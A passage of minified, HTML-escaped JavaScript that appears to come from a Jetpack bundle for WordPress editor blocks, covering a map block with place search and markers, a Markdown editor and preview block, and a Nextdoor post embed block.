Promise(function(t,s){d.autocomplete(e,(e,r)=&gt;{if(e)return void s(e);const n=(r?.results.filter(e=&gt;e.coordinate)??[]).map(e=&gt;({...e,placeName:e.displayLines?.join(&quot;, &quot;),original:e}));t(n)})}),isDebounced:!0,getOptionLabel:e=&gt;(0,l.jsx)(&quot;span&quot;,{children:e.placeName}),getOptionKeywords:e=&gt;[e.placeName],getOptionCompletion:e=&gt;{const{value:s}=e,r={placeTitle:s.placeName,title:s.placeName,caption:s.placeName,coordinates:{longitude:s.coordinate.longitude,latitude:s.coordinate.latitude},id:`${s.placeName} ${Number(s.coordinate.latitude).toFixed(2)} ${Number(s.coordinate.longitude).toFixed(2)}`};return d.search(s.original,(e,s)=&gt;{if(!e){const{places:e}=s;if(e.length&gt;0){const t=e[0];r.coordinates={longitude:t.coordinate.longitude,latitude:t.coordinate.latitude}}}t(r)}),s.placeName}};return(0,n.useEffect)(()=&gt;{setTimeout(()=&gt;{s.current.querySelector(&quot;input&quot;).focus()},50)},[]),(0,l.jsx)(&quot;div&quot;,{ref:s,children:(0,l.jsx)(&quot;div&quot;,{className:&quot;components-location-search&quot;,children:(0,l.jsx)(a.A,{completer:p,onReset:()=&gt;{o.current.value=&quot;&quot;},children:({isExpanded:t,listBoxId:s,activeId:n,onChange:a,onKeyDown:i})=&gt;(0,l.jsx)(r.TextControl,{label:e,placeholder:c,ref:o,onChange:a,&quot;aria-expanded&quot;:t,&quot;aria-owns&quot;:s,&quot;aria-activedescendant&quot;:n,onKeyDown:i,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0})})})})}},16016(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(56427),n=s(86087),o=(s(23320),s(10790));class a extends n.Component{constructor(){super(...arguments),this.state={selectedCell:null}}onDeletePoint=e=&gt;{const t=parseInt(e.target.getAttribute(&quot;data-id&quot;)),{points:s,onChange:r}=this.props,n=s.slice(0);n.splice(t,1),r(n)};setMarkerField(e,t,s){const{points:r,onChange:n}=this.props,o=r.slice(0);o[s][e]=t,n(o)}render(){const{points:e}=this.props,t=e.map((e,t)=&gt;(0,o.jsxs)(r.PanelBody,{title:e.placeTitle,initialOpen:!1,children:[(0,o.jsx)(r.TextControl,{label:&quot;Marker Title&quot;,value:e.title,onChange:e=&gt;this.setMarkerField(&quot;title&quot;,e,t),__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0}),(0,o.jsx)(r.TextareaControl,{label:&quot;Marker Caption&quot;,value:e.caption,rows:&quot;3&quot;,onChange:e=&gt;this.setMarkerField(&quot;caption&quot;,e,t),__nextHasNoMarginBottom:!0}),(0,o.jsxs)(r.Button,{&quot;data-id&quot;:t,onClick:this.onDeletePoint,className:&quot;component__locations__delete-btn&quot;,children:[(0,o.jsx)(r.Dashicon,{icon:&quot;trash&quot;,size:&quot;15&quot;}),&quot; Delete Marker&quot;]})]},e.id));return(0,o.jsx)(&quot;div&quot;,{className:&quot;component__locations&quot;,children:(0,o.jsx)(r.Panel,{className:&quot;component__locations__panel&quot;,children:t})})}}a.defaultProps={points:Object.freeze([]),onChange:()=&gt;{}};const i=a},97566(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;h});var r=s(56427),n=s(29491),o=s(86087),a=s(27723),i=s(48558),l=s(13022),c=s(66087),u=s(10790);const __=a.__,_n=a._n;function d(e=[],t=10){const s=[];for(let r=0;r&lt;e.length;r++){const n=e[r];let{keywords:o=[]}=n;if(&quot;string&quot;==typeof n.label&amp;&amp;(o=[...o,n.label]),s.push(n),s.length===t)break}return s}class p extends o.Component{static getInitialState(){return{selectedIndex:0,query:void 0,filteredOptions:[],isOpen:!1}}constructor(){super(...arguments),this.debouncedLoadOptions=(0,c.debounce)(this.loadOptions,250),this.state=this.constructor.getInitialState()}componentWillUnmount(){this.debouncedLoadOptions.cancel()}select=e=&gt;{const{completer:t}=this.props;(t.getOptionCompletion||{})(e),this.reset()};reset=()=&gt;{this.setState(this.constructor.getInitialState())};handleFocusOutside(){this.reset()}loadOptions(e,t){const{options:s}=e,r=this.activePromise=Promise.resolve(&quot;function&quot;==typeof s?s(t):s).then(t=&gt;{if(r!==this.activePromise)return;const s=t.map((t,s)=&gt;({key:`${s}`,value:t,label:e.getOptionLabel(t),keywords:e.getOptionKeywords?e.getOptionKeywords(t):[]})),n=d(s),o=n.length===this.state.filteredOptions.length?this.state.selectedIndex:0;this.setState({options:s,filteredOptions:n,selectedIndex:o,isOpen:n.length&gt;0}),this.announce(n)})}onChange=e=&gt;{const{completer:t}=this.props,{options:s}=this.state;if(!e)return void this.reset();t&amp;&amp;(t.isDebounced?this.debouncedLoadOptions(t,e):this.loadOptions(t,e));const r=t?d(s):[];t&amp;&amp;this.setState({selectedIndex:0,filteredOptions:r,query:e})};onKeyDown=e=&gt;{const{isOpen:t,selectedIndex:s,filteredOptions:r}=this.state;if(!t)return;let n;switch(e.keyCode){case i.UP:n=(0===s?r.length:s)-1,this.setState({selectedIndex:n});break;case i.DOWN:n=(s+1)%r.length,this.setState({selectedIndex:n});break;case i.ENTER:this.select(r[s]);break;case i.LEFT:case i.RIGHT:case i.ESCAPE:return void this.reset();default:return}e.preventDefault(),e.stopPropagation()};announce(e){const{debouncedSpeak:t}=this.props;t&amp;&amp;(e.length?t((0,a.sprintf)(/* translators: %d: the number of results. */
_n(&quot;%d result found, use up and down arrow keys to navigate.&quot;,&quot;%d results found, use up and down arrow keys to navigate.&quot;,e.length,&quot;jetpack&quot;,&quot;jetpack&quot;),e.length),&quot;assertive&quot;):t(__(&quot;No results.&quot;,&quot;jetpack&quot;),&quot;assertive&quot;))}render(){const{onChange:e,onKeyDown:t}=this,{children:s,instanceId:n,completer:o}=this.props,{selectedIndex:a,filteredOptions:i}=this.state,{key:c=&quot;&quot;}=i[a]||{},{className:d}=o,p=i.length&gt;0,h=p?`components-autocomplete-listbox-${n}`:null,m=p?`components-autocomplete-item-${n}-${c}`:null;return(0,u.jsxs)(&quot;div&quot;,{className:&quot;components-autocomplete&quot;,children:[s({isExpanded:p,listBoxId:h,activeId:m,onChange:e,onKeyDown:t}),p&amp;&amp;(0,u.jsx)(r.Popover,{focusOnMount:!1,onClose:this.reset,position:&quot;top center&quot;,className:&quot;components-autocomplete__popover&quot;,noArrow:!0,children:(0,u.jsx)(&quot;div&quot;,{id:h,role:&quot;listbox&quot;,className:&quot;components-autocomplete__results&quot;,children:i.map((e,t)=&gt;(0,u.jsx)(r.Button,{id:`components-autocomplete-item-${n}-${e.key}`,role:&quot;option&quot;,&quot;aria-selected&quot;:t===a,disabled:e.isDisabled,className:(0,l.A)(&quot;components-autocomplete__result&quot;,d,{&quot;is-selected&quot;:t===a}),onClick:()=&gt;this.select(e),children:e.label},e.key))})})]})}}const h=(0,n.compose)([r.withSpokenMessages,n.withInstanceId,r.withFocusOutside])(p)},82063(e,t,s){&quot;use strict&quot;;function r(e,t){return{default:{details:&quot;mapbox://styles/automattic/cjolkhmez0qdd2ro82dwog1in&quot;,no_details:&quot;mapbox://styles/automattic/cjolkci3905d82soef4zlmkdo&quot;},black_and_white:{details:&quot;mapbox://styles/automattic/cjolkixvv0ty42spgt2k4j434&quot;,no_details:&quot;mapbox://styles/automattic/cjolkgc540tvj2spgzzoq37k4&quot;},satellite:{details:&quot;mapbox://styles/mapbox/satellite-streets-v10&quot;,no_details:&quot;mapbox://styles/mapbox/satellite-v9&quot;},terrain:{details:&quot;mapbox://styles/automattic/cjolkf8p405fh2soet2rdt96b&quot;,no_details:&quot;mapbox://styles/automattic/cjolke6fz12ys2rpbpvgl12ha&quot;}}[e][t?&quot;details&quot;:&quot;no_details&quot;]}s.d(t,{o:()=&gt;r})},16815(e,t,s){&quot;use strict&quot;;s.d(t,{BY:()=&gt;i,ES:()=&gt;n,_t:()=&gt;o,iU:()=&gt;a,jF:()=&gt;r});const r=e=&gt;Object.hasOwn(e,&quot;lat&quot;)&amp;&amp;Object.hasOwn(e,&quot;lng&quot;)?e:{lat:e.latitude||0,lng:e.longitude||0};function n(e,t){const s=new e.LngLatBounds;return t.forEach(e=&gt;{s.extend([e.coordinates.longitude,e.coordinates.latitude])}),s}function o(e,t){e.fitBounds(t,{padding:{top:80,bottom:80,left:40,right:40}})}function a(e,t){e.innerHTML=`\n\t\t&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;\n\t\t&lt;svg version=&quot;1.1&quot; viewBox=&quot;0 0 32 38&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot;&gt;\n\t\t\t&lt;g fill-rule=&quot;evenodd&quot;&gt;\n\t\t\t\t&lt;path id=&quot;d&quot; d=&quot;m16 38s16-11.308 16-22-7.1634-16-16-16-16 5.3076-16 16 16 22 16 22z&quot; fill=&quot;${t}&quot;/&gt;\n\t\t\t&lt;/g&gt;\n\t\t&lt;/svg&gt;\n\t`}function i(e){return new e.Popup({closeButton:!0,closeOnClick:!1,offset:{left:[0,0],top:[0,5],right:[0,0],bottom:[0,-40]}})}},42470(e,t,s){&quot;use strict&quot;;s.d(t,{IR:()=&gt;u,K5:()=&gt;l,Sm:()=&gt;a,Yc:()=&gt;c,c6:()=&gt;o,nQ:()=&gt;i});var r=s(34377);function n(e){return Math.abs(6371e3*Math.cos(e*Math.PI/180)*2*Math.PI/256)}function o(e,t){return 512/Math.pow(2,e)*.5*n(t)}function a(e,t){const s=e/n(t);return Math.log2(512/(s/.5))}function i(e,t){if(0===t.length)return null;const s=new e.Coordinate(-90,180),r=new e.Coordinate(90,-180);t.forEach(e=&gt;{s.latitude=Math.max(s.latitude,e.coordinates.latitude),s.longitude=Math.min(s.longitude,e.coordinates.longitude),r.latitude=Math.min(r.latitude,e.coordinates.latitude),r.longitude=Math.max(r.longitude,e.coordinates.longitude)});const n=new e.Coordinate(s.latitude-.5*(s.latitude-r.latitude),s.longitude+.5*(r.longitude-s.longitude)),o=new e.CoordinateSpan(1.3*Math.abs(s.latitude-r.latitude),1.3*Math.abs(r.longitude-s.longitude));return new e.CoordinateRegion(n,o)}function l(e,t){return()=&gt;{const s=e.createElement(&quot;div&quot;);return s.classList.add(&quot;mapkit-popup-content&quot;),t(s),s}}function c(e,t){return new Promise(s=&gt;{if(t.mapkitScriptIsLoading)(0,r.Cu)(t,&quot;mapkit&quot;).then(e=&gt;{s(e)});else{t.mapkitScriptIsLoading=!0;const n=e.createElement(&quot;script&quot;);n.addEventListener(&quot;load&quot;,async()=&gt;{const e=await(0,r.Cu)(t,&quot;mapkit&quot;);t.mapkitScriptIsLoading=!1,s(e)},{once:!0}),n.src=&quot;https://cdn.apple-mapkit.com/mk/5.x.x/mapkit.js&quot;,n.crossOrigin=&quot;anonymous&quot;,e.head.appendChild(n)}})}function u(e,t,s){return new Promise((t,r)=&gt;{s.mapkitIsInitialized?t():s.mapkitIsInitializing?function(e){return new Promise((t,s)=&gt;{const r=()=&gt;{void 0===e.mapkitIsInitializing?s():!1===e.mapkitIsInitializing?t():e.requestAnimationFrame(r)};r()})}(s).then(()=&gt;{t()}):(s.mapkitIsInitializing=!0,s.mapkitIsInitialized=!1,e.init({authorizationCallback:async e=&gt;{try{const n=await fetch(&quot;https://public-api.wordpress.com/wpcom/v2/mapkit&quot;);if(200===n.status){e((await n.json()).wpcom_mapkit_access_token)}else r();s.mapkitIsInitializing=!1,s.mapkitIsInitialized=!0,t()}catch{r()}}}))})}},27534(e,t,s){&quot;use strict&quot;;s.d(t,{C:()=&gt;o,u:()=&gt;a});var r=s(86087),n=s(10790);const o=(0,r.createContext)({map:null,mapkit:null,loaded:!1,activeMarker:null,calloutReference:null,currentDoc:null,currentWindow:null,admin:!1,setPoints:()=&gt;{},points:[],previousCenter:null}),a=({value:e,children:t})=&gt;{const[s,a]=(0,r.useState)(null),[i,l]=(0,r.useState)(null),[c,u]=(0,r.useState)(null);return(0,n.jsx)(o.Provider,{value:{...e,activeMarker:s,setActiveMarker:a,calloutReference:i,setCalloutReference:l,previousCenter:c,setPreviousCenter:u},children:t})}},5389(e,t,s){&quot;use strict&quot;;s.d(t,{$H:()=&gt;b,FN:()=&gt;m,I3:()=&gt;h,LR:()=&gt;f,PC:()=&gt;p,ST:()=&gt;d,bY:()=&gt;v,mA:()=&gt;y,wB:()=&gt;k,y7:()=&gt;g});var r=s(39384),n=s(47143),o=s(86087),a=s(27723),i=s(66087),l=s(34377),c=s(42470),u=s(27534);const __=a.__,d=()=&gt;(0,o.useContext)(u.C),p=e=&gt;{const[t,s]=(0,o.useState)(!1),[a,i]=(0,o.useState)(!1),[u,d]=(0,o.useState)(null),[p,h]=(0,o.useState)(null),[m,g]=(0,o.useState)(null);return(0,o.useEffect)(()=&gt;{const t=(0,n.select)(r.CONNECTION_STORE_ID).getBlogId(),{currentDoc:o,currentWindow:a}=(0,l.sG)(e.current);if(e.current){h(a),g(o);const e=__(&quot;Failed to retrieve a Mapkit API token. Please try refreshing.&quot;,&quot;jetpack&quot;);a.mapkit?(d(a.mapkit),(0,c.IR)(a.mapkit,t,a).then(()=&gt;{s(!0)},()=&gt;{i(e)})):(0,c.Yc)(o,a).then(r=&gt;{d(r),(0,c.IR)(r,t,a).then(()=&gt;{s(!0)},()=&gt;{i(e)})})}},[e]),{loaded:t,error:a,mapkit:u,currentDoc:m,currentWindow:p}},h=(e,t,s)=&gt;{const[r,n]=(0,o.useState)(null);return(0,o.useEffect)(()=&gt;{e&amp;&amp;t&amp;&amp;n(new e.Map(s.current,{showsMapTypeControl:!1}))},[e,t,s]),{map:r}},m=(e,t)=&gt;{const{mapkit:s,map:r}=d(),n=(0,o.useRef)(e),a=(0,o.useRef)(t);(0,o.useEffect)(()=&gt;{if(!s||!r||!n.current)return;const e=n.current?.lat??n.current?.latitude,t=n.current?.lng??n.current?.longitude;&quot;number&quot;==typeof e&amp;&amp;&quot;number&quot;==typeof t&amp;&amp;(r.center=new s.Coordinate(e,t))},[s,r,n]),(0,o.useEffect)(()=&gt;{if(!s||!r)return;const e=()=&gt;{if(r.center){const{latitude:e,longitude:t}=r.center;a.current({lat:e,lng:t})}};return r.addEventListener(&quot;region-change-end&quot;,(0,i.debounce)(e,1e3)),()=&gt;{r.removeEventListener(&quot;region-change-end&quot;,e)}},[s,r,a])},g=e=&gt;{const{mapkit:t,map:s}=d();(0,o.useEffect)(()=&gt;{t&amp;&amp;s&amp;&amp;(s.mapType=(()=&gt;{switch(e){case&quot;satellite&quot;:return t.Map.MapTypes.Satellite;case&quot;black_and_white&quot;:return t.Map.MapTypes.MutedStandard;case&quot;hybrid&quot;:return t.Map.MapTypes.Hybrid;default:return t.Map.MapTypes.Standard}})())},[t,s,e])},f=(e,t)=&gt;{const{mapkit:s,map:r,points:n}=d();(0,o.useEffect)(()=&gt;{if(s&amp;&amp;r)if(n&amp;&amp;n.length&lt;=1){const t=(0,c.c6)(13,r.center.latitude);if(e){const t=(0,c.c6)(e,r.center.latitude);t!==r.cameraDistance&amp;&amp;(r.cameraDistance=t)}else t!==r.cameraDistance&amp;&amp;(r.cameraDistance=t);r.isZoomEnabled=!0,r.isScrollEnabled=!0}else r.region=(0,c.nQ)(s,n),r.isZoomEnabled=!1,r.isScrollEnabled=!1},[s,r,e,n]),(0,o.useEffect)(()=&gt;{const e=()=&gt;{t((0,c.Sm)(r.cameraDistance,r.center.latitude))};return r.addEventListener(&quot;zoom-end&quot;,e),()=&gt;{r.removeEventListener(&quot;zoom-end&quot;,e)}},[s,r,t])},b=(e,t,s=null,r=null)=&gt;{const{mapkit:n,map:a,loaded:i,currentWindow:l}=d(),c=(0,o.useRef)(s),u=(0,o.useRef)(r);(0,o.useEffect)(()=&gt;{if(i){a.annotations.filter(t=&gt;!e.find(e=&gt;e.id===t.data.id)).forEach(e=&gt;a.removeAnnotation(e));const s=e.map(e=&gt;{const s=a.annotations.find(t=&gt;t.data.id===e.id);if(s)return s.title=e.title,s.color=t,s;const r=new n.MarkerAnnotation(new n.Coordinate(e.coordinates.latitude,e.coordinates.longitude),{color:t,data:{id:e.id}});return r.calloutEnabled=!0,r.title=e.title,c.current&amp;&amp;(r.callout={calloutElementForAnnotation:c.current}),u.current&amp;&amp;r.addEventListener(&quot;select&quot;,()=&gt;u.current(e,a)),r});a.annotations.length!==s.length&amp;&amp;a.showItems(new l.Array(...s))}},[e,i,a,n,t,c,u,l])},v=e=&gt;{const{map:t,loaded:s}=d(),r=(0,o.useRef)(e);(0,o.useEffect)(()=&gt;{s&amp;&amp;r.current(t)},[s,t,r])},k=e=&gt;{const{map:t,previousCenter:s,loaded:r}=d(),n=(0,o.useRef)(e);(0,o.useEffect)(()=&gt;{r&amp;&amp;t.addEventListener(&quot;single-tap&quot;,()=&gt;{n.current(s)})},[r,t,s,n])},y=(e,t)=&gt;{const{mapkit:s,map:r}=d();(0,o.useEffect)(()=&gt;{if(s&amp;&amp;r&amp;&amp;e?.length){(new s.Geocoder).lookup(e,(e,s)=&gt;{if(s?.results?.length){const e=s.results[0],r=e.formattedAddress,n={placeTitle:r,title:r,caption:r,coordinates:{longitude:e.coordinate.longitude,latitude:e.coordinate.latitude},id:`${r} ${Number(e.coordinate.latitude).toFixed(2)} ${Number(e.coordinate.longitude).toFixed(2)}`};t.current([n])}})}},[s,r,e,t])}},2194(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(94715),n=s(13022),o=s(90907),a=s(62393),i=s(10790);const l=({attributes:e})=&gt;{const{align:t,mapDetails:s,points:l,zoom:c,mapCenter:u,markerColor:d,scrollToZoom:p,mapHeight:h,showFullscreenButton:m}=e,g=r.useBlockProps.save(),{className:f}=g,b=(0,o.D)(a.A,f),v=l.map((e,t)=&gt;{const{longitude:s,latitude:r}=e.coordinates,n=&quot;https://www.google.com/maps/search/?api=1&amp;query=&quot;+r+&quot;,&quot;+s;return(0,i.jsx)(&quot;li&quot;,{children:(0,i.jsx)(&quot;a&quot;,{href:n,children:e.title})},t)});return(0,i.jsx)(&quot;div&quot;,{...g,className:(0,n.A)(f,t?`align${t}`:null),&quot;data-map-style&quot;:b,&quot;data-map-details&quot;:s,&quot;data-points&quot;:JSON.stringify(l),&quot;data-zoom&quot;:c,&quot;data-map-center&quot;:JSON.stringify(u),&quot;data-marker-color&quot;:d,&quot;data-scroll-to-zoom&quot;:p||null,&quot;data-map-height&quot;:h||null,&quot;data-show-fullscreen-button&quot;:m||null,children:l.length&gt;0&amp;&amp;(0,i.jsx)(&quot;ul&quot;,{children:v})})}},62393(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;h});var r=s(27723),n=s(93797),o=s(49364),a=s(77971),i=s(98430),l=s(27415),c=s(72386),u=s(92747),d=s(44950);const __=r.__,p=(0,d.A)(),h=[{name:&quot;default&quot;,label:__(&quot;Basic&quot;,&quot;jetpack&quot;),preview:&quot;mapkit&quot;===p?i:a,isDefault:!0},{name:&quot;black_and_white&quot;,label:&quot;mapkit&quot;===p?__(&quot;Muted&quot;,&quot;jetpack&quot;,0):__(&quot;Black &amp; White&quot;,&quot;jetpack&quot;),preview:&quot;mapkit&quot;===p?o:n},{name:&quot;satellite&quot;,label:__(&quot;Satellite&quot;,&quot;jetpack&quot;),preview:&quot;mapkit&quot;===p?c:l},{name:&quot;terrain&quot;,label:__(&quot;Terrain&quot;,&quot;jetpack&quot;),preview:u}]},44950(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r=e=&gt;{if(e?.mapStyle&amp;&amp;[&quot;terrain&quot;].includes(e.mapStyle))return&quot;mapbox&quot;;const t=function(e){const t=`; ${document.cookie}`.split(`; ${e}=`);if(2===t.length)return t.pop().split(&quot;;&quot;).shift()}(&quot;map_provider&quot;);return t||(window&amp;&amp;&quot;string&quot;==typeof window.Jetpack_Maps?.provider&amp;&amp;[&quot;mapbox&quot;,&quot;mapkit&quot;].includes(window.Jetpack_Maps?.provider)?window.Jetpack_Maps?.provider:&quot;mapbox&quot;)}},91844(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r=(e,t=null)=&gt;{if(t)e.style.height=t+&quot;px&quot;;else{const t=e.offsetWidth,s=window.location.search.indexOf(&quot;map-block-counter&quot;)&gt;-1?window.innerHeight:.8*window.innerHeight,r=Math.min(t*(3/4),s);e.style.height=r+&quot;px&quot;}}},79534(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(13022),n=s(10790);const o=({className:e,label:t,isPressed:s,onClick:o})=&gt;{const a=(0,r.A)(e,&quot;components-button components-tab-button&quot;,{&quot;is-pressed&quot;:s});return(0,n.jsx)(&quot;button&quot;,{className:a,onClick:o,children:(0,n.jsx)(&quot;span&quot;,{children:t})})}},12580(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;h});var r=s(94715),n=s(29491),o=s(47143),a=s(86087),i=s(27723),l=s(79534),c=s(78715),u=s(10790);const __=i.__,d=&quot;editor&quot;,p=&quot;preview&quot;,h=(0,n.compose)([(0,o.withSelect)(e=&gt;({currentBlockId:e(&quot;core/block-editor&quot;).getSelectedBlockClientId()})),(0,o.withDispatch)((e,{currentBlockId:t})=&gt;({removeBlock:()=&gt;e(&quot;core/block-editor&quot;).removeBlocks(t)}))])(({attributes:e,setAttributes:t,isSelected:s,removeBlock:n})=&gt;{const{source:o}=e,i=!o||&quot;&quot;===o.trim(),h=(0,r.useBlockProps)(),{className:m}=h,[g,f]=(0,a.useState)(d),b=(0,a.useRef)(null),v=e=&gt;t({source:e}),k=e=&gt;{8===e.keyCode&amp;&amp;&quot;&quot;===o&amp;&amp;(n(),e.preventDefault())};let y;return(0,a.useEffect)(()=&gt;{s?g===d&amp;&amp;b?.current.focus():g===p&amp;&amp;f(d)},[s,g,f]),y=!s&amp;&amp;i?(0,u.jsx)(&quot;p&quot;,{className:`${m}__placeholder`,children:__(&quot;Write your _Markdown_ **here**…&quot;,&quot;jetpack&quot;)}):(0,u.jsxs)(&quot;div&quot;,{className:m,children:[(0,u.jsx)(r.BlockControls,{children:(0,u.jsxs)(&quot;div&quot;,{className:&quot;components-toolbar&quot;,children:[(0,u.jsx)(l.A,{className:m,label:__(&quot;Markdown&quot;,&quot;jetpack&quot;),isPressed:g===d,onClick:()=&gt;f(d)}),(0,u.jsx)(l.A,{className:m,label:__(&quot;Preview&quot;,&quot;jetpack&quot;),isPressed:g===p,onClick:()=&gt;f(p)})]})}),g!==p&amp;&amp;s?(0,u.jsx)(r.PlainText,{className:`${m}__editor`,onChange:v,onKeyDown:k,&quot;aria-label&quot;:__(&quot;Markdown&quot;,&quot;jetpack&quot;),ref:b,value:o}):(0,u.jsx)(c.A,{className:`${m}__preview`,source:o})]}),(0,u.jsx)(&quot;div&quot;,{...h,children:y})})},57809(e,t,s){&quot;use strict&quot;;var r=s(94375),n=s(73431),o=s(12580),a=s(76425);s(27544);(0,r.M)(n,{edit:o.A,save:a.A})},78715(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;h});var r=s(94715),n=s(86087),o=s(27723),a=s(97158),i=s(20305),l=s.n(i),c=s(10790);const __=o.__,u=new a.A({typographer:!0}).use(l()),d=e=&gt;{if(&quot;A&quot;===e.target.nodeName){window.confirm(__(&quot;Are you sure you wish to leave this page?&quot;,&quot;jetpack&quot;))||e.preventDefault()}},p=(e={})=&gt;{const t=(0,r.__experimentalGetSpacingClassesAndStyles)?.(e);return t?.style?t.style:{}},h=({className:e,source:t=&quot;&quot;,attributes:s})=&gt;(0,c.jsx)(n.RawHTML,{className:e,onClick:d,style:p(s),children:t.length?u.render(t):&quot;&quot;})},76425(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(94715),n=s(78715),o=s(10790);const a=({attributes:e})=&gt;{const t=r.useBlockProps.save();return(0,o.jsx)(n.A,{...t,source:e.source,attributes:e})}},6526(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(94715),n=s(56427),o=s(27723),a=s(10790);const __=o.__,_x=o._x,i=e=&gt;{const{defaultClassName:t,nextdoorShareUrl:s,onFormSubmit:r,setNextdoorShareUrl:o}=e;return(0,a.jsx)(n.PanelBody,{title:__(&quot;Embed URL&quot;,&quot;jetpack&quot;),initialOpen:!0,children:(0,a.jsxs)(&quot;form&quot;,{onSubmit:r,className:`${t}-embed-form-sidebar`,children:[(0,a.jsx)(&quot;input&quot;,{type:&quot;text&quot;,id:&quot;nextdoorShareUrl&quot;,onChange:e=&gt;o(e.target.value),placeholder:__(&quot;Nextdoor post URL&quot;,&quot;jetpack&quot;),value:s||&quot;&quot;,className:&quot;components-placeholder__input&quot;}),(0,a.jsx)(&quot;div&quot;,{children:(0,a.jsx)(n.Button,{variant:&quot;secondary&quot;,type:&quot;submit&quot;,children:_x(&quot;Embed&quot;,&quot;button label&quot;,&quot;jetpack&quot;)})})]})})},l=e=&gt;(0,a.jsx)(r.InspectorControls,{children:(0,a.jsx)(i,{...e})})},14164(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;b});var r=s(85985),n=s(94715),o=s(74997),a=s(56427),i=s(86087),l=s(27723),c=(s(27400),s(66087)),u=s(78218),d=s(17195),p=s(6526),h=s(52755),m=s(10790);const __=l.__,_x=l._x,g=(0,r.sh)(d);const f=({defaultClassName:e,iframeUrl:t,clientId:s})=&gt;{const r=`\n\t\t&lt;script&gt;\n\t\t\twindow.addEventListener( &#039;message&#039;, function ( event ) {\n\t\t\t\tif ( ! event.origin.startsWith( &#039;https://nextdoor&#039; ) ) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tvar iframe = document.getElementById( &#039;nextdoor-embed-${s}&#039; );\n\t\t\t\tif ( event.source !== iframe.contentWindow ) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tiframe.setAttribute( &#039;height&#039;, event.data.height );\n\t\t\t\tvar clientBoundingRect = document.body.getBoundingClientRect();\n\t\t\t\twindow.parent.postMessage( { action: &#039;resize&#039;, width: clientBoundingRect.width, height: clientBoundingRect.height }, &#039;*&#039; );\n\t\t\t} );\n\t\t&lt;\/script&gt;\n\t\t&lt;iframe id=&quot;nextdoor-embed-${s}&quot; width=&quot;100%&quot; height=&quot;200&quot; frameBorder=&quot;0&quot; src=&quot;${t}&quot; title=&quot;${__(&quot;Nextdoor&quot;,&quot;jetpack&quot;)}&quot; /&gt;\n\t\t`;return(0,m.jsxs)(m.Fragment,{children:[(0,m.jsx)(&quot;div&quot;,{className:`${e}-overlay`}),(0,m.jsx)(a.SandBox,{html:r})]})},b=(0,a.withNotices)(function({attributes:e,clientId:t,name:s,noticeOperations:r,noticeUI:l,setAttributes:b}){const v=(0,n.useBlockProps)(),k=(0,o.getBlockDefaultClassName)(s),y=(0,u.y)(d.attributes,e);(0,c.isEqual)(y,e)||b(y);const{url:x}=y,[j,w]=(0,i.useState)(x?(0,h.Dl)(x):null),[_,C]=(0,i.useState)(j),A=()=&gt;{r.removeAllNotices(),r.createErrorNotice(__(&quot;Your Nextdoor post couldn&#039;t be embedded. Please double check the URL or code.&quot;,&quot;jetpack&quot;))},S=e=&gt;{if(!e)return w(null),void A();if(e.preventDefault(),!_)return w(null),void A();const t=(0,h.Dl)(_);if(!t)return w(null),void A();w(t),b({url:t})},E=(0,m.jsx)(a.Placeholder,{label:__(&quot;Nextdoor&quot;,&quot;jetpack&quot;),instructions:__(&quot;Enter the URL of your Nextdoor post to share below.&quot;,&quot;jetpack&quot;),icon:g,notices:l,children:(0,m.jsxs)(&quot;form&quot;,{onSubmit:S,children:[(0,m.jsx)(&quot;input&quot;,{type:&quot;text&quot;,id:&quot;nextdoorShareUrl&quot;,onChange:e=&gt;C(e.target.value),placeholder:__(&quot;Nextdoor post URL&quot;,&quot;jetpack&quot;),value:_||&quot;&quot;,className:&quot;components-placeholder__input&quot;}),(0,m.jsx)(&quot;div&quot;,{children:(0,m.jsx)(a.Button,{variant:&quot;secondary&quot;,type:&quot;submit&quot;,children:_x(&quot;Embed&quot;,&quot;button label&quot;,&quot;jetpack&quot;)})})]})});return(0,m.jsxs)(&quot;div&quot;,{...v,children:[(0,m.jsx)(p.A,{defaultClassName:k,nextdoorShareUrl:_,onFormSubmit:S,setNextdoorShareUrl:C}),j?(0,m.jsx)(f,{defaultClassName:k,iframeUrl:j,clientId:t}):E]})})},3361(e,t,s){&quot;use strict&quot;;s(27400);var r=s(74997),n=s(94375),o=s(17195),a=s(14164),i=s(12953),l=s(52755);(0,n.M)(o,{edit:a.A,save:i.A,transforms:{from:[{type:&quot;raw&quot;,isMatch:e=&gt;&quot;P&quot;===e.nodeName&amp;&amp;l.QL.test(e.textContent),transform:e=&gt;{const t=(0,l.Dl)(e.textContent);return(0,r.createBlock)(&quot;jetpack/nextdoor&quot;,{url:t})}}]}})},12953(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(94715),n=s(10790);function o(){const e=r.useBlockProps.save();return(0,n.jsx)(&quot;div&quot;,{...e,children:(0,n.jsx)(r.InnerBlocks.Content,{})})}},52755(e,t,s){&quot;use strict&quot;;s.d(t,{Dl:()=&gt;a,QL:()=&gt;r});const r=/(^|\/\/|www\.)(nextdoor\.[^&quot;&#039;]*)/i,n=/([^/]+$)/,o=e=&gt;{let t=&quot;&quot;;t=0===e.indexOf(&quot;https&quot;)?new URL(e):new URL(&quot;https:&quot;+e);const s=t.pathname.match(n);if(s)return t.origin+&quot;/embed/&quot;+s[1]},a=e=&gt;{if(!e||!e.match(r))return;const t=o(e);return t||void 0}},34157(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(79018),n=s(10790);const 